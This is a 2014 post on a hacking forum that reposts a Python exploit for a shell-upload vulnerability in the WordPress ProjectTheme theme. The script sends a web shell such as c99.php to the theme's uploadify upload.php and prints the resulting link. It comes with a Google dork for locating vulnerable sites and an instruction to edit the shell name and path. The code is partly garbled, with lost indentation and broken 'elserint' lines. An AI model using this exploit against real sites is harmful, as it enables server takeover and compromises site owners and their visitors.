Anti-armenia.ORG - Forumlar - Wordpress ProjectTheme Shell Upload Vulnerability

Forumlar / Hacking Platform / Exploits & Vulnerabilities / Wordpress ProjectTheme Shell Upload Vulnerability

Istifadəçi

2014-10-11 20:16 GMT

™AnonYMous™

Banned

Mesaj Sayı : 142

Mövzu Sayı :

Rep Ver :

Rep Sayı : 1

Indi Saytda : Durum

Cinsiyyət : Oğlan

Şəhər :

Ölkə :

Məslək :

Yaş : 40

Mesaj :

############################################################################

# Title : Wordpress Theme ProjectTheme Shell Upload Vulnerability

# Google Dork : inurl:/wp-content/themes/ProjectTheme

# Tested on : Linux

############################################################################

Exploit:

import optparse
import sys
import pycurl
from cStringIO import StringIO
print "#________________________________________________________#"
print "| |"
print "| ProjectTheme Shell Upload Exploit |"
print "| |"
print "| Author:Aloulou |"
print "| Dork: inurl:/wp-content/themes/ProjectTheme |"
print "| Facebook: facebook.com/Aloulou.TN |"
print "| Email:aloulou@alquds.com |"
print "| Greeting to Tunisia , AnonBoy & All muslims |"
print "#________________________________________________________#\n"

parser = optparse.OptionParser(usage='python %s -t http://site.com -s shellname -p UploadingPath \nExample: python %s -t http://target.com -s c99.php -p /wp-content/uploads' %(sys.argv[0],sys.argv[0]))
parser.add_option('-t', '--target',action="store", dest="target",help="-t http://site.com", default="")
parser.add_option('-s', '--shell',action="store", dest="shellname",help="-s c99.php", default="")
parser.add_option('-p', '--path',action="store", dest="path",help="-p /wp-content/uploads", default="")
options, args = parser.parse_args()
if options.target=="": print ("Type \"python %s -h\" for help"%sys.argv[0])
else:
pth='folder'
shpath=options.path
target=options.target
filename=options.shellname
psd='Filedata'
themename='ProjectTheme'
c = pycurl.Curl()
c.setopt(c.POST, 1)
c.setopt(c.HTTPPOST, [('title', 'test'), ((psd, (c.FORM_FILE, filename)))])
c.setopt(c.VERBOSE, 0)
bodyOutput = StringIO()
headersOutput = StringIO()
c.setopt(c.WRITEFUNCTION, bodyOutput.write)
c.setopt(c.URL, '%s/wp-content/themes/%s/lib/uploadify/upload.php?%s=/%s' %(target,themename,pth,shpath) )
c.setopt(c.HEADERFUNCTION, headersOutput.write)
c.perform()
x=bodyOutput.getvalue()
shname=options.shellname
if "/" in shname:
shname=options.shellname.rsplit('/',1)
if x=="1":
print ('Shell uploaded successfully LINK=%s/%s/%s' %(target,shpath,shname[1]))
elserint("Shell upload Failed!")
else:
shname=options.shellname
if x=="1":
print ('Shell uploaded successfully LINK=%s/%s/%s' %(target,shpath,shname))
elserint("Shell upload Failed!")

Exploitin içində hər şey izah olunub ..shell name , shell path yazılan yerləri editləyin....
Mənbə : http://www.1337day.com/exploit/22420